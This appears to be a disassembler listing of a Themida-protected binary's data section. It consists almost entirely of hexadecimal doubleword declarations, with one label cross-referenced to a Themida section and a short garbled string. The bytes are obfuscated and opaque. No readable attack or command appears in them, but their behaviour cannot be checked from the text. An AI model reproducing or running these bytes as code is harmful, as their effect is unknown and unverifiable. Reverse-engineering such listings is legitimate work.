		dd 0FFA8BE9h, 1189h, 0CE900h, 893A0000h, 57AB6DD9h, 0F4927204h
		dd 0FE99C82h, 39000000h, 0BC4E586Ah, 34078410h,	0A33BEE3Fh
		dd 0D7818E36h, 40BB5AC5h, 0DB816650h, 0F5A30DEh, 480h
		dd 0DFBA6600h, 0ADDE811Bh, 604895CAh, 0C3DAF081h, 8B6651A1h
		dd 5F5661C2h, 18C181F5h, 810AA96Bh, 994F35CEh, 8890F21h
		dd 60000000h, 0F96D980h, 6661CFB7h, 0B0BCF6BFh,	0B751F9B2h
		dd 0BE56599Dh, 20DA4075h, 0AE958h, 0ABC00000h, 0D2E4C098h
		dd 2B82DD2Dh, 12E9h, 8B024B00h,	0F7756861h, 0E8BD1A0h
		dd 56996B76h, 0FC6C6A0h, 0C8Dh,	6840F00h, 81000000h, 0EB14E0C3h
		dd 0C6E08121h, 0F80127BEh, 0CB8BF38Bh, 0B7CA8B66h, 812FB64Fh
		dd 296320F0h, 0FD68B74h, 88h, 9E86000h,	0D3000000h, 57077DFFh
		dd 5E20280h, 0BB7ADB81h, 605A11A9h, 14E9h, 0CB209300h
		dd 4FE862B4h, 255B1C1Ch, 0B55F899h, 0AD11679Dh,	0B161618Ch
		dd 0BF66F5D0h, 800F012Dh, 9, 3860Fh, 0B70F0000h, 10E8F8h
		dd 63290000h, 63C02D07h, 91AC1B0Ch, 0BBEEBFD6h,	0DE807D0h
		dd 0A3000000h, 7EB0E8DDh, 8CD0FAh, 49E0A71Eh, 0F7A7A9BFh
		dd 0B45F5F1Dh, 4FEC80B6h, 6E960F8h, 81000000h, 4F505C3Bh
		dd 5800F14h, 0B9000000h, 107AA29Bh, 0E181F961h,	1219875Eh
		dd 8AFABF0Fh, 6E9FCh, 347B0000h, 10E73F03h, 9E9h, 5A8E6900h
		dd 0F91E7A8Dh, 0BE664228h, 6660F51Ch, 536CF281h, 6E950h
		dd 27CB0000h, 32849D96h, 14E9615Fh, 0FC000000h,	0A95BF03Ah
		dd 0DB51B2CCh, 0CC40E09h, 9F2E818Ah, 0B9F10A85h, 3AD0F281h
		dd 85E38166h, 0B86650C2h, 0F5B50E5h, 0D88h, 8E900h, 10080000h
		dd 62339350h, 9E91EFDh,	0A2000000h, 68093D90h, 56D0046Dh
		dd 0EEC08166h, 0A0F181BAh, 0FC09ACC5h, 0E91BF280h, 9, 0DE3B9B23h
		dd 319EA435h, 0C880FC3Bh, 0F281F577h, 20126D4Dh, 0B1D68B66h
		dd 815750E7h, 4AFDF4D1h, 665E582Bh, 0F18BCE8Bh,	0CCCCD881h
		dd 81661D51h, 663775C7h, 6635A9BFh, 0E97D91BFh,	7, 5696D17h
		dd 600898A3h, 9ED18166h, 0FE83Bh, 91080000h, 0E4C6DE9Ah
		dd 0B2B5B248h, 190EC400h, 0EE921h, 43CA0000h, 43B37452h
		dd 0F58BD685h, 0BE1255F9h, 81666159h, 8A44D6EAh, 48D0FF0h
		dd 66000000h, 66193DBAh, 13BDC181h, 880Fh, 81660000h, 0F9720DF2h
		dd 13E9h, 86E03E00h, 0B304C6FEh, 8EBADCD3h, 0B8295E25h
		dd 1A2DD16Ah, 8F0FF08Bh, 4, 0C5D2BE66h,	0CC18BAF9h, 13E84D8Ah
		dd 0E0000000h, 28362576h, 0E5F9E599h, 1DB34E19h, 4B94C68Eh
		dd 0D08B9D1Bh, 0BE85Fh,	38CF0000h, 4F5B9EEEh, 0CC70D769h
		dd 5A50604Bh, 8B0F5961h, 1, 6830FF8h, 0F000000h, 8Eh, 0C3816600h
		dd 0CB812920h, 7D18BDACh, 10B960F5h, 0F1AB2C3h,	181h, 8061FC00h
		dd 0EE861C0h, 2E000000h, 0B6035D37h, 4179F87Dh,	0AA622E9Ah
		dd 5AB5B8CBh, 665F7532h, 0F9338B9h, 80h, 0B70F5200h, 0F08B5AF8h
		dd 81EE8A60h, 0DE17B1D6h, 0CE8B616Dh, 0C4B17AB6h, 0BE8C18Ah
		dd 0AA000000h, 0E2A1CA07h, 35FA25E2h, 0FB8BE818h, 60D38B5Ah
		dd 5840Fh, 81660000h, 61985CCAh, 0F78B66F9h, 18850Fh, 0E9520000h
		dd 11h,	7E54B425h, 790802B6h, 0A9F8CDB1h, 0D3ECA413h, 8B665AC7h
		dd 9FB866DEh, 0FEE8A0Ch, 28Ah, 8AC78B00h, 5E9FAh, 0D3410000h
		dd 0FC4605CAh, 14E9h, 0FA616D00h, 0E44D7C29h, 1541FA49h
		dd 38198781h, 88F9BE88h, 1D8F0FA9h, 0F000000h, 1784h, 12E900h
		dd 71350000h, 0CD916568h, 0B3F9EB58h, 9C9D1E36h, 82F52A35h
		dd 850FF560h, 6, 820Fh,	0B8610000h, 4E268229h, 0E38075B5h
		dd 2CF281E2h, 0E90AD387h, 0Bh, 78C72B3Bh, 63606A91h, 6070B66Ch
		dd 60C9B70Fh, 37CF8166h, 0D7816640h, 616164BEh,	0E9F2B70Fh
		dd 14h,	3D94E03Ch, 11095465h, 2EB2BFFh,	0E944FBEBh, 0E156C18h
		dd 76A34BBh, 0D860F20h,	0E9000000h, 8, 712D7EEDh, 0E1E74670h
		dd 58C0F60h, 66000000h,	0DF15CF81h, 14E861h, 3D060000h
		dd 0B6121DEFh, 0B4F2E98Eh, 10C4120Bh, 0F997175Ch, 5EF526C7h
		dd 3850Fh, 0F7800000h, 0D88B6684h, 0E2CF81FCh, 66330006h
		dd 0D780F78Bh, 6E9A0h, 67CB0000h, 0E578FB3Fh, 8E8h, 0C9EB4800h
		dd 0EFCFB3A0h, 58D98A1Fh, 0FE9h, 1012BF00h, 1811D81Ah
		dd 0E7E91D04h, 6016DEAAh, 0E9C6BF0Fh, 11h, 5665C78Eh, 2CC42E64h
		dd 0FB0F25B9h, 0F57536A8h, 0BA60F843h, 106EB7FBh, 617ADB80h
		dd 14E857h, 62940000h, 1E1ED908h, 0BF434D75h, 70D53475h
		dd 0E6D4FABAh, 0F081831Dh, 8BADE56h, 0CB85B5Eh,	0F5656F7h
		dd 8A0FF8BFh, 13h, 0EE9h, 3850AF00h, 8A1C1D09h,	0AE6F4F31h
		dd 0FE2868Ch, 0A8Fh, 5E900h, 0F4CA0000h, 0F8719F7Ah, 9860Fh
		dd 8A0F0000h, 3, 0F21E080h, 589h, 0EE816600h, 0EE96ADAh
		dd 0B2000000h, 9D6F14BCh, 2D43DB63h, 0AAF77F64h, 60BB660Eh
		dd 0E6F08142h, 6003F3EAh, 0FE9h, 3FD22E00h, 0B086FAFCh
		dd 0ACB9852Ch, 0D3CB5DAFh, 0D3B70F61h, 0FF4733BAh, 0DEBF0F3Ch
		dd 8CE8166h, 0BEBA666Bh, 0FE9ECh, 9EC0000h, 74D48079h
		dd 5DEFFDCDh, 18B1EA8Bh, 0E9BE66A4h, 0CABF0FF8h, 0E996D081h
		dd 0BA661C0Ch, 6FB8EECEh, 662B8C62h, 0D80AE881h, 13E9h
		dd 0B6536C00h, 56EA1E8Dh, 0EFA302F3h, 0C58163E3h, 37B0F705h
		dd 870F50h, 5B000000h, 66DFBF0Fh, 8B66F38Bh, 60FA8ADEh
		dd 3A41BE66h, 61DBB70Fh, 13E9A9B0h, 0F7000000h,	34BDABE3h
		dd 0E7046A9Dh, 384FC49Fh, 722BE86Eh, 0AEB9805Fh, 0F21B323h
		dd 1486h, 0FE900h, 0ED140000h, 522257E9h, 0E72695BDh, 7A8A5701h
		dd 665EB455h, 8B66D68Bh, 5FBF66D8h, 55CB8103h, 66443E46h
		dd 56645EBAh, 25D41BFh,	0CF805A5Ah, 0F1BF0FD8h,	0E2E68166h
		dd 0AEBEFC7Bh, 665F1CEFh, 970EEE81h, 0BE8h, 0AD73300h
		dd 12A11AABh, 0DBF36512h, 5214B260h, 0E95F615Bh, 11h, 86B150DEh
		dd 49CD887Dh, 335ACC31h, 0E759251Bh, 63C0805Ah,	13E8h
		dd 0CF39A900h, 0DA85EF15h, 89F61E81h, 0F79D9B6Dh, 0D62EC638h
		dd 767C07B9h, 0B70F581Eh, 13E853DEh, 80000000h,	4ADE3673h
		dd 1C9A1F94h, 46CC1D79h, 967C3C9Bh, 81666054h, 5FDA06E6h
		dd 8A85B15Ah, 58C0FEBh,	66000000h, 0FA19EE81h, 7830Fh
		dd 820F0000h, 1, 0BF0FF8FCh, 0C0B70FDEh, 19FDBB56h, 80592BF9h
		dd 0F9601FDEh, 66F18B61h, 662F22BEh, 0EED8C081h, 18A0F52h
		dd 0F8000000h, 13E95Ah,	8CC50000h, 66A12667h
		dd 7DB727D2h, 0F314708Fh, 0C58010D8h, 6E91Eh, 27F30000h
		dd 94A59A0Eh, 0E2EB80FCh, 0C78B66FCh, 0C38B66F8h, 53F9E280h
		dd 0DA182ABAh, 5E85E13h, 27000000h, 406FC1D5h, 91EF8166h
		dd 840F5ED8h, 4, 3A8EBF66h, 0BF6647B7h,	7E96D2Fh, 5C000000h
		dd 2CFAE249h, 0C38B6717h, 0CE8h, 42DEBE00h, 16779207h
		dd 59D852DFh, 59FA8B9Ch, 4870Fh, 0BB660000h, 8B669662h
		dd 0E8C18BF8h, 7, 2F8365E2h, 0F6E90BDh,	86h, 0B7605A00h
		dd 61C18BF2h, 0BE9h, 9385AE00h,	83EFC316h, 42A12A79h, 6667E080h
		dd 0EE9D08Bh, 0E7000000h, 2C0F807Ah, 4B79C2DAh,	86A6648Eh
		dd 0DEB70FD4h, 5FE0B851h, 0E85A5EFFh, 10h, 0FD2453BAh
		dd 9A9A1520h, 85007989h, 0B4A89935h
dword_57CF68	dd 0D2B3B866h, 0D2BF0F5Eh, 11820Fh, 0CE90000h, 0D0000000h
					; DATA XREF: Themida_:0051C2A9o
		dd 0B3176883h, 96F40694h, 0E882B07Ch, 0Eh, 3C2A227Fh, 9B5548FDh
		dd 93BEE265h, 1ABA9581h, 583B83AAh, 0DCE6D081h,	23B64129h
		dd 8B60F98Bh, 8061FCF2h, 8E9F5DCh, 0A5000000h, 9A3C4C3h
		dd 66B07E46h, 0AB9D98Bh, 6028B775h, 0CE8BEFB6h,	0A5D28061h
		dd 0E18166F9h, 0CDB690E6h, 81D4BEFCh, 0BF660AA8h, 8D0F49AFh
		dd 0
		dd 0D7B8C38Bh, 0E904AE54h, 14h,	5D9A96AAh, 0F3601A08h
		dd 2D9CF564h, 6070FB77h, 4A72CCE9h, 0B4BB6060h,	0B8065782h
		dd 149C094Eh, 0F98B6661h, 0D2816661h, 0AE93E87h, 28000000h
		dd 281AC02Eh, 6743B5EDh, 11E967h, 5CD0000h, 0B35FDB0Fh
		dd 0ECBB9ADCh, 0A5FF4B98h, 0E9630027h, 13h, 49857C21h
		dd 836471F9h, 0DA69185Ch, 0F7D619DDh, 0E8FC2DCBh, 12h
		dd 94D8276Dh, 193CE615h, 0B64ED257h, 7F73D7D2h,	8B66770Ch
		dd 60605FD0h, 8E9D38Bh,	90000000h, 0FAAFD314h, 610D6E77h
		dd 14E9h, 9F82D00h, 2FB9C6DDh, 0D52D213h, 99FB4ED1h, 0B4E1BDC6h
		dd 8B666130h, 890FDEh, 0E8000000h, 0Ch,	88E994ECh, 0A69C1839h
		dd 859DF1CEh, 54F18166h, 0EAB65FBDh, 10E8h, 0C5303700h
		dd 0D3D0A74Eh, 66B47F2Bh, 0B514320Fh, 0E8F86064h, 14h
		dd 78E1D9D5h, 1CDB3E9Bh, 9AB839E8h, 2AE11BAFh, 33D8DCF9h
		dd 605B6158h, 7E9h, 61828300h, 661343C1h, 1A8D0F61h, 0E8000000h
		dd 14h,	0EF0D78D3h, 0DC014AADh,	682BCE00h, 0F8BE79AFh
		dd 0A454CA00h, 2830F5Eh, 0B2000000h, 0FB8B6678h, 0EE9h
		dd 78727A00h, 73B93292h, 59E2CE99h, 66E6A1A6h, 0B70FF38Bh
		dd 5E9F1h, 496A0000h, 0FC3BE730h, 0BC3B6CB8h, 0DE8B660Dh
		dd 0E9D3B0FCh, 7, 0BE742F04h, 81272FCDh, 0E5F281D7h, 0DE94Bh
		dd 7FDD0000h, 0BA2F6A76h, 0F38E601Fh, 0F27AD3Ah, 870FD2BFh
		dd 0Bh,	58A0Fh,	0B6BF0000h, 6671572Ch, 667D8EB9h, 0FCDE93BEh
		dd 8F0F7EB6h, 3, 0F8F28B66h, 75B9E381h,	0BF0F6593h, 0BB00B9D0h
		dd 5A5709DBh, 6820Fh, 0C0810000h, 5EA30059h, 6072D680h
		dd 816650B3h, 616F7ED9h, 8D0Fh,	0EE80000h, 90000000h, 0D2A22EDAh
		dd 0AD972BEBh, 0B51C2C2h, 0CF8166B9h, 0F5B9B49h, 583h
		dd 1106BE00h, 81665F41h, 0FD2EDD0h, 0F556C3BFh,	7941BF59h
		dd 0EE946B5h, 0D9000000h, 0AA246ABDh, 0D97B447Dh, 0B1E9FFDFh
		dd 0FE8605Dh, 0C9000000h, 0AEEE08E1h, 0C1802C9Dh, 4790AC6Ch
		dd 5BFC2A99h, 0F88BF861h, 0FE9h, 0EF6F7600h, 0A3E041BFh
		dd 7A370505h, 0FCFCE970h, 0A7E0BE60h, 63BA56A3h, 61363ABFh
		dd 13E9h, 34C27700h, 805CCB08h,	1704291h, 0D122648Ah, 45531115h
		dd 0BA66C68Bh, 0E781E448h, 0C415B38h, 14E8h, 709DEA00h
		dd 33ED6672h, 423A8694h, 0F9BAB94Bh, 155062CCh,	5F0CB08Ah
		dd 0ABC6B866h, 66D38B66h, 81DD681h, 1880Fh, 66F80000h
		dd 501FCA81h, 0BE53F080h, 5FD6152Eh, 4CABCF81h,	38B00E23h
		dd 10E860h, 0C4030000h,	4F987063h, 1FC84E4Ch, 0EDF0BCAEh
		dd 8B66920Dh, 0FE8B5EC8h, 0E1816661h, 8F0FCCB2h, 0Bh, 5810Fh
		dd 81660000h, 0F8551E9h, 20BADEB7h, 817E38E6h, 1291E8CBh
		dd 0F28B6659h, 753DEF81h, 820F3501h, 0Ch, 6820Fh, 8A0F0000h
		dd 0
		dd 9F1ADF81h, 0B85660C6h, 0F290405h, 148B0F5Bh,	60000000h
		dd 6E8h, 0CFBC3B00h, 5E4A6DFEh,	0F008D381h, 0F6115F6h
		dd 88Bh, 2810F00h, 60000000h, 10E961h, 8C550000h, 3124C717h
		dd 4AC833C1h, 0B1D7605Eh, 0DE90F63h, 60000000h,	768901E1h
		dd 8FBDDC0Ch, 3CD8BFB0h, 4850Fh, 0BB660000h, 0EF8073BFh
		dd 5FBA66B7h, 10E90Dh, 0A5C10000h, 585E3289h, 0B16EF3E2h
		dd 0A280B7D4h, 14E9B4E4h, 0F1000000h, 0FD47A4FCh, 3473DED1h
		dd 932CF6BBh, 709A26Fh,	80368563h, 3BB9F9C5h, 0BE77D3DCh
		dd 10DADBBEh, 0AE8h, 0D3450100h, 0F502054Eh, 66777BEAh
		dd 0D998C781h, 0B3E18059h, 8B666051h, 890FFBh, 61000000h
		dd 0D3BF0F59h, 0FD68B66h, 482h,	9BBA6600h, 13D08029h, 14E8h
		dd 0B2F38600h, 0F29B2C3Eh, 0EA57E11Eh, 5FC80E45h, 0D25C5D06h
		dd 0CE96015h, 1C000000h, 8EFA3424h, 89E96765h, 802C86AEh
		dd 5A6136DCh, 3E7EF081h, 8B665F0Eh, 0BBFCBEF8h,	81BE4E03h
		dd 6666288Ch, 4B92D881h, 11E8h,	0BDCDB400h, 0DF4CEEF6h
		dd 9294DF88h, 1AA11296h, 0C78A36DFh, 0E881665Ah, 8A0F854Bh
		dd 4, 585E5357h, 3820F60h, 80000000h, 0E9605FC3h, 0Bh
		dd 0A5CD0C5Dh, 6CA5A0Dh, 615087D2h, 870F6061h, 4, 86F2BA66h
		dd 0C65879BEh, 0BF66614Ch, 0BF0F02D8h, 8D0F60F1h, 14h
		dd 0FE9h, 0A5E07300h, 0C5B557A2h, 7E21B031h, 6240C8F9h
		dd 0A2E78166h, 0E88A612Dh, 28E0Fh, 61600000h, 5FB96650h
		dd 8B665880h, 0BA6660F9h, 0B866C0B8h, 6061C675h, 0E961FA8Ah
		dd 0Ah,	5469BAC9h, 3130A3DDh, 8A0FAD35h, 8, 2860Fh, 5BB30000h
		dd 58E781F5h, 0F7A7D88h, 0C180C1BFh, 3BB665Dh, 0BF0F60A1h
		dd 0C6BF0FDEh, 8BD08B61h, 0D78166F0h, 8B0F45E1h, 0
		dd 0CE957h, 548B0000h, 6ECAB287h, 6DED502Ah, 525FBB77h
		dd 11E9h, 0E762B00h, 1C55AB7Bh,	8A5A4D42h, 701E336Fh, 8B5A770Dh
		dd 0F0B70FF2h, 5870Fh, 81660000h, 8B46BFE9h, 41BA66F3h
		dd 1800FFBh, 0F5000000h, 7E9h, 0F253C800h, 5C5053E6h, 0AE2BB966h
		dd 8F0FD18Bh, 5, 0A639A1BAh, 14E9F55Dh,	6C000000h, 0BD2E0F12h
		dd 7148B9D9h, 3FEEFB05h, 0B3878BF8h, 0F67CE04h,	0DD80C6B7h
		dd 0C181662Ch, 0AE9DF97h, 0DB000000h, 53C55F5Dh, 165A4139h
		dd 816660C4h, 8B1B61DAh, 6DB861C7h, 66661EDEh, 8166DE8Bh
		dd 0FFE50C6h, 38Ah, 0E6D58000h,	66D1BF0Fh, 1BAAE281h, 0A6E18166h
		dd 0C6BF0FBCh, 60F85AB4h, 0BF665E50h, 0BE61AEC2h, 5F384FAAh
		dd 7E9h, 1E58DA00h, 0E5F720CFh,	5E9h, 0DBA38E00h, 66600583h
		dd 61F098BFh, 56F18B66h, 5AF08B66h, 6830Fh, 0D8810000h
		dd 2313F9EEh, 0D0B70F60h, 0A023A8BEh, 60FC6122h, 61D38B66h
		dd 25F9BF66h, 0B66C7BB8h, 850F605Ah, 3,	0E8C68B66h, 0Eh
		dd 1B5B0AE7h, 30B9B18Dh, 0C8FC75F7h, 0B70F55EDh, 0F615ADFh
		dd 480h, 23B86600h, 0F56F5B4h, 689h, 880F00h, 5A000000h
		dd 667DD880h, 6E9C68Bh,	0F7000000h, 4BE4979Ch, 0DA8166CBh
		dd 0BF0F23FFh, 0B4F08AC1h, 0A636BAD8h, 80604376h, 0F18B52E1h
		dd 0CFBF0F61h, 9E9h, 5C579300h,	0FF4D796Ch, 6E97437h, 8000000h
		dd 1D69950Eh, 6620B0BCh, 0B2E960B9h, 6653F5E0h,	5A314FBFh
		dd 0AE9h, 5CEA5C00h, 4AC343F1h,	0E9763347h, 12h, 3A3627ABh
		dd 70E89D12h, 0EDA701D7h, 86672CAAh, 0EF8044DBh, 0C8816659h
		dd 810F0C6Eh, 0
aFAbrpbXZfZs	db 'fRPѽX`',0Dh,'[Zf+',9,0
		db 2 dup(0), 28h
		dd 1DF3A737h, 1AF76F4Eh, 850Fh,	860F0000h, 0Dh,	8E9h, 45905A00h
		dd 2575E63Ch, 0CE8FCF3h, 0FF000000h, 0FC0EF1C1h, 0F9D37EBBh
		dd 0FAE768Bh, 687h, 810F00h, 5B000000h,	0F60F9F9h, 48Ah
		dd 0FDB86600h, 0F3DF81A0h, 613C0EDCh, 0AE852B6h, 49000000h
		dd 0C8E326C9h, 0C79AA01Ah, 28D0F31h, 8A000000h,	0FE95BCCh
		dd 3000000h, 0ED239685h, 333C200Eh, 3F6DE5D5h, 0BE66BDA1h
		dd 57FC594Ah, 665BDE8Bh, 0DAFC981h, 880FDD8Ah, 6, 53CA8B60h
		dd 0ADB6615Fh, 13E9h, 95417A00h, 0BCB14652h, 0BD5911Dh
		dd 502B961Dh, 0A0A11824h, 64BB6053h, 0B603A0E2h, 0BB5A61FCh
		dd 0F6D4355h, 0E9D88B66h, 10h, 0E7D7A627h, 6BBAE3F8h, 6F31ACDh
		dd 0AD381A9h, 890FC88Bh, 0Fh, 0AE9h, 8EEE2800h,	0E1EC9D1h
		dd 0E9B23853h, 0Dh, 0C637716Ah,	16424733h, 0EEA863FCh
		dd 0FE80Eh, 41D80000h, 0E28507CBh, 8660A79Eh, 4CDFF07Eh
		dd 13E87Eh, 118E0000h, 0AD38E476h, 0B1BE90ADh, 98A55684h
		dd 88AF316Ah, 8E88Fh, 4F860000h, 0A2E91E6Ah, 5F5FE333h
		dd 93EDBA5Ah, 0A2B174BEh, 0CE98166h, 48D0F76h, 66000000h
		dd 8B217FBBh, 5E9C2h, 6CC10000h, 8B4790ACh, 7E8D7h, 3AD60000h
		dd 957C9132h, 810F602Fh, 0
		dd 5F615852h, 800Fh, 10E90000h,	64000000h, 0CE91548Dh
		dd 8ED2976Ah, 6B36668Dh, 5660AFD9h, 5EC88B66h, 0AE9h, 56974E00h
		dd 3BCE10A6h, 8A5302C3h, 5E9F5h, 71F00000h, 0E99D7EDDh
		dd 0Ch,	6E19C58Dh, 555CAEFFh, 0E01506E7h, 20820Fh, 14E80000h
		dd 0D3000000h, 0E5B6DB48h, 33736BC0h, 491ECA42h, 0CEA5746Ch
		dd 81010336h, 0D31723CAh, 0C68A5B16h, 0BE85B51h, 3D000000h
		dd 7EBA2C6Fh, 0C701F7DCh, 0E851477Eh, 10h, 2419AB1Fh, 29D16E53h
		dd 4D6B3A19h, 0F964F7E9h, 0F55B5959h, 66F9BF0Fh, 326DD181h
		dd 11E8h, 56A54C00h, 147601A4h,	0FFA17A9h, 5455B386h, 0B96656F9h
		dd 0F5FF9C6h, 682h, 76DE8100h, 667A7812h, 0FFE49BEh, 8Dh
		dd 11E900h, 0B0580000h,	0ECE4D0Eh, 0CEF54E83h, 2122D4C6h
		dd 80208DF8h, 870F51EDh, 3, 0FC5FF680h,	0A0CB8156h, 5F1DB377h
		dd 0EF9EC6BFh, 0E081606Bh, 3C9DB794h, 0F88B6661h, 0C18B6660h
		dd 6061F18Ah, 61D8BF0Fh, 4BFC881h, 6EBE2767h, 0F1129FBh
		dd 0B89h, 0BE666000h, 6EBE2AC5h, 6165F411h, 0CDC586B9h
		dd 97BF6662h, 6FF2B949h, 870F03D0h, 6, 0E8BF6656h, 0BF0F5B44h
		dd 0CBB70FC1h, 12E9h, 0AFD8A800h, 0B9DCE8A9h, 0D8FBDFF5h
		dd 79240F08h, 57A8A3D5h, 0E9587EB0h, 11h, 9A224FCEh, 388FB541h
		dd 51E1502Eh, 45AABCA8h, 0F38B66CEh, 0BFEE8166h, 4D881D1h
		dd 0E924BF77h, 7, 84EEFEDEh, 0F1080D5h,	683h, 0B6F28100h
		dd 0F6DBE49h, 48Fh, 35BA6600h, 0C18B662Dh, 0BE66F860h
		dd 0E9619061h, 6, 413ACF58h, 7BBAA55h, 0F7A154Bh, 28Ch
		dd 81CDB600h, 87B2CAEAh, 0D98B666Bh, 0AE9FCh, 33F50000h
		dd 0A83C07BCh, 1480B9E1h, 28C0FFCh, 0B4000000h,	2EA0BB98h
		dd 0BE81768h, 44000000h, 12DCE2Ah, 0E0AD7D5Dh, 0F08BBCDFh
		dd 6E95Fh, 0EDA70000h, 86672CAAh, 0E08166F9h, 8166D4B1h
		dd 0B80EBBC0h, 362001AAh, 7E9h,	0AF39C900h, 1DAB0340h
		dd 0CE1CF81h, 840F0D83h, 2, 6E9FA8Bh, 0D7000000h, 0A32C2638h
		dd 0BE98B771h, 8AFBFB6h, 86BFF681h, 12E87EF2h, 0BE000000h
		dd 0F5790434h, 3A97029Fh, 0DF504CF9h, 0AEA67CECh, 0C3B70F25h
		dd 0DAB8665Bh, 5820F5Bh, 57000000h, 5AFFBF0Fh, 0C68060B1h
		dd 0C2BF0F34h, 52F2B70Fh, 5CDB8052h, 81665E59h,	80207BCFh
		dd 0B70FAFECh, 0FF5B2F3h, 8Eh, 81666000h, 60ED55F0h, 8D793BBBh
		dd 8A0F58h, 61000000h, 8E861h, 14930000h, 85619E54h, 0E9607A5Ch
		dd 11h,	3C22D199h, 0A8A21CB5h, 0B6730097h, 17783EDh, 0FC5F6147h
		dd 0B6885EBBh, 0E0BF600Bh, 0F2C40C4h, 0F61CEBFh, 281h
		dd 8B4AB400h, 4BF381D0h, 8B240850h, 0F08B66F1h,	0CE8h
		dd 0B97EE100h, 6F154FB7h, 0FA5B4B54h, 68B0F8Bh,	0F000000h
		dd 8Dh,	8B0F5E00h, 19h,	14E9h, 677A2C00h, 12A2EEB4h, 430E8ED5h
		dd 5C881676h, 5C2F9C2Fh, 67DA8004h, 66A5F280h, 8B66D98Bh
		dd 28E681C3h, 0F93BC04Dh, 0FC7B70Fh, 0B760DEBFh, 48D0F0Eh
		dd 66000000h, 6124ACBFh, 53F78B66h, 14E9h, 8448F600h, 39B6D77Fh
		dd 0CFE7B40Eh, 0E013A5F3h, 0C081E405h, 8D0F5977h, 0
		dd 88A0Fh, 810F0000h, 2, 0E8F95F56h, 11h, 77B5AC4h, 7B378C75h
		dd 41C0DB02h, 65698DE3h, 5EE18AD8h, 0CE9h, 39266F00h, 56168C9Eh
		dd 93A20957h, 6E985h, 0A1160000h, 7C00BAF6h, 3EEE8166h
		dd 0CE86044h, 0F9000000h, 83EB0A17h, 68050C95h,	0E9BBE9B9h
		dd 12h,	0E9339018h, 797154ADh, 93B2A6D8h, 2654DC95h, 615B1040h
		dd 84BB4CB8h, 0F7EB155h, 289h, 81CF8B00h, 0B4C4FCD7h, 80F8600Ah
		dd 0B26194D7h, 0D1B70F9Fh, 5AD68B50h, 0AE8F78Bh, 18000000h
		dd 0B23D7B28h, 38562198h, 14E9DFh, 0AE6A0000h, 0A1710C21h
		dd 0E885F53Fh, 89A0BF08h, 1B5B0AE7h, 8B5AB18Dh,	0DE9DFh
		dd 30FE0000h, 3677B202h, 9D7F8ACAh, 0F13C433h, 0E87h, 870F6000h
		dd 0
		dd 8D0Fh, 0E8610000h, 0Ah, 2147A8F2h, 0B2A0C26Bh, 8C0FA1DDh
		dd 2, 0BB585853h, 763113B9h, 5E9h, 64A20000h, 7E85EFAh
		dd 3000000h, 9639EEEDh,	81668F6Fh, 5E2AC4E0h, 2A24BB66h
		dd 8997F281h, 8E94F80h,	70000000h, 8263CE48h, 0FC5AF681h
		dd 3890Fh, 0C8800000h, 0D3B70F2Bh, 81666060h, 0F28C4C8h
		dd 8161DBB7h, 0F6F809DFh, 0E280616Dh, 0C3B70F06h, 158C0Fh
		dd 10E90000h, 43000000h, 4010180Dh, 0E5ACCF5Ah,	4043809Eh
		dd 0E8BEC357h, 14h, 493F8582h, 0AD9F86B3h, 0D57D95BAh
		dd 0D3BD588Fh, 7BA58BA6h, 73CDE281h, 665A3943h,	8B66C38Bh
		dd 79B966D3h, 0FE95074h, 92000000h, 0E2D8053Ch,	8EC61873h
		dd 450F0F79h, 0E95936D1h, 13h, 0F50E2815h, 91666E8Eh, 0CBDED948h
		dd 9D9E585Ah, 66E20A1Ch, 66EBD7BFh, 8166F08Bh, 8168AEDEh
		dd 0C2181FCBh, 13810F70h, 0E9000000h, 0Eh, 78C1D43Bh, 0AB0C93FBh
		dd 0C2F56A74h, 0BE66463Ah, 0D78122CDh, 4994A3Fh, 2C08166h
		dd 38A0FA2h, 0F000000h,	0B70FDAB7h, 12E8C3h, 33A10000h
		dd 3B765EA8h, 0D27832EBh, 0ACC74F99h, 411E529Dh, 6058D18Bh
		dd 58D0Fh, 6DBF0000h, 61100191h, 8D0Fh,	7E80000h, 0F000000h
		dd 46ED8BEEh, 8B66ED9Ah, 0BF0F58D0h, 0CBE66F6h,	9BDE818Bh
		dd 8B6C7558h, 0E78166C8h, 0BE9E291h, 0AD000000h, 0A9D0DD9Bh
		dd 467D8C7Bh, 2EBEF82Ah, 8B121D13h, 0CE8CAh, 451A0000h
		dd 6D8C0BFEh, 7BABD140h, 47B4A256h, 0BE95Bh, 14DB0000h
		dd 3EA10E7Ch, 0A8EE9A81h, 13E9B3h, 49A90000h, 60021E75h
		dd 4F16274Bh, 7A3E587Ah, 0BBCD72A1h, 66D98BC9h,	0BE56D68Bh
		dd 6EB81877h, 9E958h, 5790000h,	0EEBCCC33h, 0BF91F17Ah
		dd 143862Ch, 0FD1B70Fh,	8Dh, 0A0CE8000h, 810FC68Bh, 4
		dd 9726B966h, 12800Fh, 0DE90000h, 0D5000000h, 0D55BEC4Ch
		dd 7FF73ADDh, 111FF1E0h, 0CC3BEh, 28B0F75h, 0B2000000h
		dd 0F0BF0FC4h, 0CE984B2h, 56000000h, 48F30486h,	0CA461D7Bh
		dd 5689ECBAh, 52C7DDBAh, 8E85F39h, 0E3000000h, 924F3E27h
		dd 8B29F4CFh, 0E38A5EDAh, 3860Fh, 0B70F0000h, 7870FFBh
		dd 60000000h, 0BF0F6160h, 850F61FEh, 3,	0B6C6E880h, 5E9ADh
		dd 5CB70000h, 500717CCh, 14E95EF8h, 0FA000000h,	0AD456347h
		dd 632F89F8h, 983F4EEDh, 1784A024h, 0F6437EFh, 86h, 0DE800h
		dd 66DB0000h, 7CC6A624h, 0B57D8C0h, 0BB758D97h,	44EE68E4h
		dd 8D0FFC5Fh, 0
		dd 0CE9h, 0BA6A1300h, 0F80A728Ch, 0EA5DDCACh, 0D18B6693h
		dd 8DDA8166h, 13E9F4h, 9C5E0000h, 9899854Ch, 427D702Eh
		dd 0B11E0224h, 0AAC7BDE4h, 0E983B5BEh, 7, 0A2596626h, 8B551BC3h
		dd 7E8C1h, 0B1610000h, 6C4275C5h, 5FCE8B27h, 11E9FCh, 0B9850000h
		dd 0CB5DAFACh, 0B56AB4D3h, 0B97DD1DAh, 0FA6D074h, 1E8Bh
		dd 18880F00h, 0E8000000h, 12h, 6772238Dh, 0F5B2883Ch, 0FC6CB1Ah
		dd 95DF8F92h, 665B6940h, 562DC181h, 0CA8166F9h,	10E8BB60h
		dd 0CE000000h, 6FC4BF4Ch, 0BDAF8C0Dh, 0D978BF10h, 8B43272Eh
		dd 0D1815EF7h, 0A9EC4F3h, 5A07B651h, 9E9h, 0C9640700h
		dd 1D8B3E4Bh, 0FE9E516h, 0B1000000h, 85CCCA28h,	696AE19h
